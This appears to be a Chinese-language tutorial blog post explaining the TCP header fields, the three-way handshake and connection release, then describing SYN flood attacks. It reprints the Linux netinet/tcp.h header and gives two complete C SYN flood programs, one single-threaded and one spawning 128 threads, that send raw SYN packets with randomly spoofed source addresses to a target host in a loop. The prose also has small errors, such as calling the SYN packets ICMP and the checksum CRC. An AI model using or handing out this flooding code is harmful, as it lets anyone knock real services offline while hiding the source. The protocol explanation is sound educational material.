一、建立TCP連接配接需要三次握手才能建立,在認識TCP三向交握前,我們先來看看TCP封包首部結構:
源端口和目的端口字段:各占2位元組。端口是傳輸層與應用層的服務接口。傳輸層的複用和分用功能都要通過端口才能實作
序号字段:占4位元組。TCP連接配接中傳送的資料流中的每一個位元組都編上一個序号。序号字段的值則指的是本封包段所發送的資料的第一個位元組的序号。
确認号字段(ack):占4位元組,是期望收到對方的下一個封包段的資料的第一個位元組的序号。
•若确認号=N,則表明:到序号N– 1為止的所有資料都已正确收到。 •設B正确收到了A發送過來的一個封包段,其序号字段值是501,而資料長度是200位元組(序号501 ~ 700),這表明B正确收到了A 發送的到序号700為止的資料。是以,B期望收到A的下一個資料序号是701,于是B在發送給A的确認封包段中把确認号置為701。 請注意,現在的确認号不是501,也不是700,而是701。
資料偏移(即首部長度):占4位,它指出TCP封包段的資料起始處距離TCP封包段的起始處有多遠。“資料偏移”的機關是32位字(以4位元組為計算機關)。
保留字段:占6位,保留為今後使用,但目前應置為0。
緊急 URG:當URG= 1 時,表明緊急指針字段有效。它告訴系統此封包段中有緊急資料,應盡快傳送(相當于高優先級的資料)。
确認 ACK: 隻有當ACK= 1 時确認号字段才有效。當 ACK= 0時,确認号無效。
推送 PSH(PuSH): 接收TCP收到PSH= 1 的封包段,就盡快地傳遞接收應用程序,而不再等到整個緩存都填滿了後再向上傳遞。
複位 RST(ReSeT): 當RST= 1 時,表明 TCP連接配接中出現嚴重差錯(如由于主機崩潰或其他原因),必須釋放連接配接,然後再重建立立運輸連接配接。
同步 SYN:同步SYN= 1表示這是一個連接配接請求或連接配接接受封包。
終止 FIN(FINis): 用來釋放一個連接配接。FIN= 1 表明此封包段的發送端的資料已發送完畢,并要求釋放運輸連接配接。
視窗字段—— 占 2 位元組,用來讓對方設定發送視窗的依據,機關為位元組
緊急指針字段 : 占16位,指出在本封包段中緊急資料共有多少個位元組(緊急資料放在本封包段資料的最前面)。
選項字段 :長度可變。TCP最初隻規定了一種選項,即最大封包段長度MSS。MSS告訴對方TCP:“我的緩存所能接收的封包段的資料字段的最大長度是MSS個位元組。”
MSS(MaximumSegment Size)是TCP 封包段中的資料字段的最大長度。資料字段加上TCP 首部才等于整個的TCP 封包段。
填充字段 ——這是為了使整個首部長度是4位元組的整數倍。
二、說了TCP封包首部的結構,下面來談談 三次握手的過程:
(1)
A的TCP向B發出連接配接請求封包段,其首部中的同步位SYN= 1,并選擇序号seq =x,表明傳送資料時的第一個資料位元組的序号是x。
(2)
B的TCP收到連接配接請求封包段後,如同意,則發回确認。 B在确認封包段中應使SYN= 1,使ACK= 1,其确認号ack =x+1,自己選擇的序号seq = y.
(3)
•A 收到此封包段後向B給出确認,其ACK= 1,确認号ack =y+1。 •A 的TCP通知上層應用程序,連接配接已經建立。
接下來:
•B 的TCP收到主機A的确認後,也通知其上層應用程序:TCP連接配接已經建立。 以後就可以傳送資料了。
至此TCP三向交握就成功的完成啦。
三、TCP連接配接的釋放
(1)
• 資料傳輸結束後,通信的雙方都可釋放連接配接。 現在A的應用程序先向其TCP發出連接配接釋放封包段,并停止再發送資料,主動關閉TCP連接配接。 • A把連接配接釋放封包段首部的FIN = 1,其序号seq =u,等待B的确認。
(2)
• B發出确認,确認号ack=u+ 1,而這個封包段自己的序号seq =v。 • TCP伺服器程序通知高層應用程序。 • 從 A到B這個方向的連接配接就釋放了,TCP連接配接處于半關閉狀态。B若發送資料,A仍要接收
(3)
• 若 B 已經沒有要向 A 發送的資料, 其應用程序就通知 TCP釋放連接配接。
(4)
A向B發送确認後,TCP連接配接進入關閉狀态.至此TCP釋放完成。
四、SYN洪水攻擊
(1)SYN洪水攻擊也稱為拒絕服務攻擊,它利用了TCP的三次握手,利用大量的TCP連接配接請求造成目标機的資源耗盡,而不能提供正常的服務或者服務品質下降。
(2)SYN洪水攻擊原理:
一般情況下的TCP連接配接函數connect(),經曆了三次握手,如果從IP層協定來看,用戶端先發送SYN請求,伺服器對用戶端的SYN進行響應,而客服端對伺服器的響應再次進行确認後才建立了一個TCP的連接配接,在伺服器發送響應後,要等待一段時間才能獲得用戶端的确認,即第二次和第三次握手之間有一個逾時時間,SYN攻擊就是利用了這個時機。
SYN攻擊利用第二次握手的手段如下:
(1)主機A發送ICMP的SYN請求給主機B,主機A發送的封包的源IP位址是一個僞造的IP,主機B的第二次握手之後要等待一段時間,接收主機A的确認包,在逾時時間内此資源一直在占用,如果主機B的處理TCP三向交握的資源不能滿足處理主機A的SYN請求數量,則主機B的可用資源就會慢慢減少,知道耗盡。
(2)主機A發送的封包是原始封包,發送封包的速度可以達到很高,是以有足夠的資源能對目标機造成影響。
Linux系統中的TCP封包頭檔案:
#ifndef _NETINET_TCP_H
#define _NETINET_TCP_H 1
#include <features.h>
/*
* User-settable options (used with setsockopt).
*/
#define TCP_NODELAY 1 /* Don't delay send to coalesce packets */
#define TCP_MAXSEG 2 /* Set maximum segment size */
#define TCP_CORK 3 /* Control sending of partial frames */
#define TCP_KEEPIDLE 4 /* Start keeplives after this period */
#define TCP_KEEPINTVL 5 /* Interval between keepalives */
#define TCP_KEEPCNT 6 /* Number of keepalives before death */
#define TCP_SYNCNT 7 /* Number of SYN retransmits */
#define TCP_LINGER2 8 /* Life time of orphaned FIN-WAIT-2 state */
#define TCP_DEFER_ACCEPT 9 /* Wake up listener only when data arrive */
#define TCP_WINDOW_CLAMP 10 /* Bound advertised window */
#define TCP_INFO 11 /* Information about this connection. */
#define TCP_QUICKACK 12 /* Bock/reenable quick ACKs. */
#define TCP_CONGESTION 13 /* Congestion control algorithm. */
#define TCP_MD5SIG 14 /* TCP MD5 Signature (RFC2385) */
#define TCP_COOKIE_TRANSACTIONS 15 /* TCP Cookie Transactions */
#define TCP_THIN_LINEAR_TIMEOUTS 16 /* Use linear timeouts for thin streams*/
#define TCP_THIN_DUPACK 17 /* Fast retrans. after 1 dupack */
#define TCP_USER_TIMEOUT 18 /* How long for loss retry before timeout */
#define TCP_REPAIR 19 /* TCP sock is under repair right now */
#define TCP_REPAIR_QUEUE 20 /* Set TCP queue to repair */
#define TCP_QUEUE_SEQ 21 /* Set sequence number of repaired queue. */
#define TCP_REPAIR_OPTIONS 22 /* Repair TCP connection options */
#define TCP_FASTOPEN 23 /* Enable FastOpen on listeners */
#define TCP_TIMESTAMP 24 /* TCP time stamp */
#ifdef __USE_MISC
# include <sys/types.h>
# include <sys/socket.h>
typedef u_int32_t tcp_seq;
/*
* TCP header.
* Per RFC 793, September, 1981.
*/
struct tcphdr
{
__extension__ union
{
struct
{
u_int16_t th_sport; /* source port */
u_int16_t th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
# if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:4; /* (unused) */
u_int8_t th_off:4; /* data offset */
# endif
# if __BYTE_ORDER == __BIG_ENDIAN
u_int8_t th_off:4; /* data offset */
u_int8_t th_x2:4; /* (unused) */
# endif
u_int8_t th_flags;
# define TH_FIN 0x01
# define TH_SYN 0x02
# define TH_RST 0x04
# define TH_PUSH 0x08
# define TH_ACK 0x10
# define TH_URG 0x20
u_int16_t th_win; /* window */
u_int16_t th_sum; /* checksum */
u_int16_t th_urp; /* urgent pointer */
};
struct
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
# if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
# elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
# else
# error "Adjust your <bits/endian.h> defines"
# endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_ptr;
};
};
};
enum
{
TCP_ESTABLISHED = 1,
TCP_SYN_SENT,
TCP_SYN_RECV,
TCP_FIN_WAIT1,
TCP_FIN_WAIT2,
TCP_TIME_WAIT,
TCP_CLOSE,
TCP_CLOSE_WAIT,
TCP_LAST_ACK,
TCP_LISTEN,
TCP_CLOSING /* now a valid state */
};
# define TCPOPT_EOL 0
# define TCPOPT_NOP 1
# define TCPOPT_MAXSEG 2
# define TCPOLEN_MAXSEG 4
# define TCPOPT_WINDOW 3
# define TCPOLEN_WINDOW 3
# define TCPOPT_SACK_PERMITTED 4 /* Experimental */
# define TCPOLEN_SACK_PERMITTED 2
# define TCPOPT_SACK 5 /* Experimental */
# define TCPOPT_TIMESTAMP 8
# define TCPOLEN_TIMESTAMP 10
# define TCPOLEN_TSTAMP_APPA (TCPOLEN_TIMESTAMP+2) /* appendix A */
# define TCPOPT_TSTAMP_HDR \
(TCPOPT_NOP<<24|TCPOPT_NOP<<16|TCPOPT_TIMESTAMP<<8|TCPOLEN_TIMESTAMP)
/*
* Default maximum segment size for TCP.
* With an IP MSS of 576, this is 536,
* but 512 is probably more convenient.
* This should be defined as MIN(512, IP_MSS - sizeof (struct tcpiphdr)).
*/
# define TCP_MSS 512
# define TCP_MAXWIN 65535 /* largest value for (unscaled) window */
# define TCP_MAX_WINSHIFT 14 /* maximum window shift */
# define SOL_TCP 6 /* TCP level */
# define TCPI_OPT_TIMESTAMPS 1
# define TCPI_OPT_SACK 2
# define TCPI_OPT_WSCALE 4
# define TCPI_OPT_ECN 8 /* ECN was negociated at TCP session init */
# define TCPI_OPT_ECN_SEEN 16 /* we received at least one packet with ECT */
# define TCPI_OPT_SYN_DATA 32 /* SYN-ACK acked data in SYN sent or rcvd */
/* Values for tcpi_state. */
enum tcp_ca_state
{
TCP_CA_Open = 0,
TCP_CA_Disorder = 1,
TCP_CA_CWR = 2,
TCP_CA_Recovery = 3,
TCP_CA_Loss = 4
};
struct tcp_info
{
u_int8_t tcpi_state;
u_int8_t tcpi_ca_state;
u_int8_t tcpi_retransmits;
u_int8_t tcpi_probes;
u_int8_t tcpi_backoff;
u_int8_t tcpi_options;
u_int8_t tcpi_snd_wscale : 4, tcpi_rcv_wscale : 4;
u_int32_t tcpi_rto;
u_int32_t tcpi_ato;
u_int32_t tcpi_snd_mss;
u_int32_t tcpi_rcv_mss;
u_int32_t tcpi_unacked;
u_int32_t tcpi_sacked;
u_int32_t tcpi_lost;
u_int32_t tcpi_retrans;
u_int32_t tcpi_fackets;
/* Times. */
u_int32_t tcpi_last_data_sent;
u_int32_t tcpi_last_ack_sent; /* Not remembered, sorry. */
u_int32_t tcpi_last_data_recv;
u_int32_t tcpi_last_ack_recv;
/* Metrics. */
u_int32_t tcpi_pmtu;
u_int32_t tcpi_rcv_ssthresh;
u_int32_t tcpi_rtt;
u_int32_t tcpi_rttvar;
u_int32_t tcpi_snd_ssthresh;
u_int32_t tcpi_snd_cwnd;
u_int32_t tcpi_advmss;
u_int32_t tcpi_reordering;
u_int32_t tcpi_rcv_rtt;
u_int32_t tcpi_rcv_space;
u_int32_t tcpi_total_retrans;
};
/* For TCP_MD5SIG socket option. */
#define TCP_MD5SIG_MAXKEYLEN 80
struct tcp_md5sig
{
struct sockaddr_storage tcpm_addr; /* Address associated. */
u_int16_t __tcpm_pad1; /* Zero. */
u_int16_t tcpm_keylen; /* Key length. */
u_int32_t __tcpm_pad2; /* Zero. */
u_int8_t tcpm_key[TCP_MD5SIG_MAXKEYLEN]; /* Key (binary). */
};
/* For socket repair options. */
struct tcp_repair_opt
{
u_int32_t opt_code;
u_int32_t opt_val;
};
/* Queue to repair, for TCP_REPAIR_QUEUE. */
enum
{
TCP_NO_QUEUE,
TCP_RECV_QUEUE,
TCP_SEND_QUEUE,
TCP_QUEUES_NR,
};
/* For cookie transactions socket options. */
#define TCP_COOKIE_MIN 8 /* 64-bits */
#define TCP_COOKIE_MAX 16 /* 128-bits */
#define TCP_COOKIE_PAIR_SIZE (2*TCP_COOKIE_MAX)
/* Flags for both getsockopt and setsockopt */
#define TCP_COOKIE_IN_ALWAYS (1 << 0) /* Discard SYN without cookie */
#define TCP_COOKIE_OUT_NEVER (1 << 1) /* Prohibit outgoing cookies,
* supercedes everything. */
/* Flags for getsockopt */
#define TCP_S_DATA_IN (1 << 2) /* Was data received? */
#define TCP_S_DATA_OUT (1 << 3) /* Was data sent? */
#define TCP_MSS_DEFAULT 536U /* IPv4 (RFC1122, RFC2581) */
#define TCP_MSS_DESIRED 1220U /* IPv6 (tunneled), EDNS0 (RFC3226) */
struct tcp_cookie_transactions
{
u_int16_t tcpct_flags;
u_int8_t __tcpct_pad1;
u_int8_t tcpct_cookie_desired;
u_int16_t tcpct_s_data_desired;
u_int16_t tcpct_used;
u_int8_t tcpct_value[TCP_MSS_DEFAULT];
};
#endif /* Misc. */
#endif /* netinet/tcp.h */
SYN洪水攻擊的例子:
//syn攻擊
//用法 ./syn hostname destport sourport
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <signal.h>
#include <netinet/tcp.h>
//攻擊函數
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//校驗和
unsigned short checksum(unsigned char *addr,int len);
//退出信号處理函數
void signal(int sig)
{
printf("終止syn攻擊\n");
exit(1);
}
int main(int argc,char** argv)
{
int skfd,port;
struct sockaddr_in target;
struct hostent *host;
const int on=1;
unsigned short srcport;
bzero(&target,sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
port=atoi(argv[2]);
if (port<0)
{
perror("port error");
exit(1);
}
target.sin_port=htons(port);
if(inet_aton(argv[1],&target.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
printf("TargetName Error:%s\n",hstrerror(h_errno));
exit(1);
}
target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
//将協定字段置為IPPROTO_TCP,來建立一個TCP的原始套接字
if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
perror("Create Error");
exit(1);
}
//開啟IP_HDRINCL特性,我們自己手動構造IP封包
if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
perror("IP_HDRINCL failed");
exit(1);
}
//隻有root使用者才可以使用原始套接字
//setuid(getpid());
//源端口
srcport = atoi(argv[3]);
// printf("%s\n",argv[3]);
signal(SIGINT, signal);
attack(skfd,&target,srcport);
}
//在該函數中構造整個IP封包,最後調用sendto函數将封包發送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport)
{
char buf[128]={0};
struct ip *ip;
struct tcphdr *tcp;
int ip_len;
//在我們TCP的封包中Data沒有字段,是以整個IP封包的長度
ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
//開始填充IP首部
ip=(struct ip*)buf;
//IP的版本
ip->ip_v = IPVERSION;
//IP都不長度,位元組數
ip->ip_hl = sizeof(struct ip)>>2;
//服務類型
ip->ip_tos = 0;
//ip封包總長度
ip->ip_len = htons(ip_len);
//标志
ip->ip_id=0;
//段的偏移位址
ip->ip_off=0;
//最大的生存時間
ip->ip_ttl=MAXTTL;
//協定類型
ip->ip_p=IPPROTO_TCP;
//校驗和,先填0
ip->ip_sum=0;
//發送的目标位址
ip->ip_dst=target->sin_addr;
//開始填充TCP首部
tcp = (struct tcphdr*)(buf+sizeof(struct ip));
tcp->th_sport = htons(srcport);
tcp->th_dport = target->sin_port;
tcp->th_seq = random();
tcp->th_off = 5;
tcp->th_flags=TH_SYN;
tcp->th_sum = 0;
tcp->th_win=65535;
while(1)
{
//源位址僞造
ip->ip_src.s_addr =random();
tcp->th_sum=checksum((unsigned char*)tcp,sizeof(struct tcphdr)); //校驗和
sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
}
}
//關于CRC校驗和的計算
unsigned short checksum(unsigned char *buf,int len)
{
unsigned int sum=0;
unsigned short *cbuf;
cbuf=(unsigned short *)buf;
while(len>1)
{
sum+=*cbuf++;
len-=2; //剩餘尚未累加的16比特的個數
}
if(len) //若len的長度不是偶數
sum+=*(unsigned char *)cbuf; //用最後一個位元組補齊
//防溢出處理
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}
抓包結果:
當然也可以用我們前面的TCP伺服器進行測試:
伺服器端:
SYN測試:
端口檢測:
伺服器端收到我們的SYN封包後,會為其配置設定一條連接配接資源,并将該連接配接的狀态置為SYN_RECV,然後給用戶端回送一個确認,并要求用戶端再次确認,但是卻一直收不到回複,直到逾時才回收資源,這樣持續下去将消耗目标機的資源。
多線程代碼:
//syn攻擊
//用法 ./syn hostname destport
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <syslog.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <errno.h>
#include <netinet/tcp.h>
//最多線程數
#define MAXCHILD 128
struct sockaddr_in target;
int skfd,alive=1;
//攻擊函數
void attack();
//校驗和
unsigned short checksum(unsigned char *addr,int len);
void *DoS_fun (void * args)
{
while(alive)
{
attack();
break;
}
return NULL;
}
//信号處理函數,設定退出變量alive
void DoS_sig(int signo)
{
alive = 0;
}
int main(int argc,char** argv)
{
int port;
struct hostent *host;
const int on=1;
pthread_t pthread[MAXCHILD]; //線程标志數組
bzero(&target,sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
port=atoi(argv[2]);
if (port<0)
{
perror("port error");
exit(1);
}
target.sin_port=htons(port);
if(inet_aton(argv[1],&target.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
printf("TargetName Error:%s\n",hstrerror(h_errno));
exit(1);
}
target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
//将協定字段置為IPPROTO_TCP,來建立一個TCP的原始套接字
if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
perror("Create Error");
exit(1);
}
//開啟IP_HDRINCL特性,我們自己手動構造IP封包
if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)))
{
perror("IP_HDRINCL failed");
exit(1);
}
//隻有root使用者才可以使用原始套接字
//setuid(getpid());
signal(SIGINT, DoS_sig);
for(int i=0; i<MAXCHILD; i++)
{
pthread_create(&pthread[i], NULL, DoS_fun, NULL);
}
//等待線程結束
for(int i=0; i<MAXCHILD; i++)
pthread_join(pthread[i], NULL);
close(skfd);
}
//在該函數中構造整個IP封包,最後調用sendto函數将封包發送出去
void attack()
{
char buf[128]={0};
struct ip *ip;
struct tcphdr *tcp;
int ip_len;
//在我們TCP的封包中Data沒有字段,是以整個IP封包的長度
ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
//開始填充IP首部
ip=(struct ip*)buf;
//IP的版本
ip->ip_v = IPVERSION;
//IP都不長度,位元組數
ip->ip_hl = sizeof(struct ip)>>2;
//服務類型
ip->ip_tos = 0;
//ip封包總長度
ip->ip_len = htons(ip_len);
//标志
ip->ip_id=0;
//段的偏移位址
ip->ip_off=0;
//最大的生存時間
ip->ip_ttl=MAXTTL;
//協定類型
ip->ip_p=IPPROTO_TCP;
//校驗和,先填0
ip->ip_sum=0;
//發送的目标位址
ip->ip_dst=target.sin_addr;
//開始填充TCP首部
tcp = (struct tcphdr*)(buf+sizeof(struct ip));
tcp->th_sport = random();
tcp->th_dport = target.sin_port;
tcp->th_seq = random();
tcp->th_off = 5;
tcp->th_flags=TH_SYN;
tcp->th_sum = 0;
tcp->th_win=65535;
//源位址僞造
ip->ip_src.s_addr =random();
tcp->th_sum=checksum((unsigned char*)tcp,sizeof(struct tcphdr)); //校驗和
sendto(skfd,buf,ip_len,0,(struct sockaddr*)&target,sizeof(struct sockaddr_in));
}
//關于CRC校驗和的計算
unsigned short checksum(unsigned char *buf,int len)
{
unsigned int sum=0;
unsigned short *cbuf;
cbuf=(unsigned short *)buf;
while(len>1)
{
sum+=*cbuf++;
len-=2; //剩餘尚未累加的16比特的個數
}
if(len) //若len的長度不是偶數
sum+=*(unsigned char *)cbuf; //用最後一個位元組補齊
//防溢出處理
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}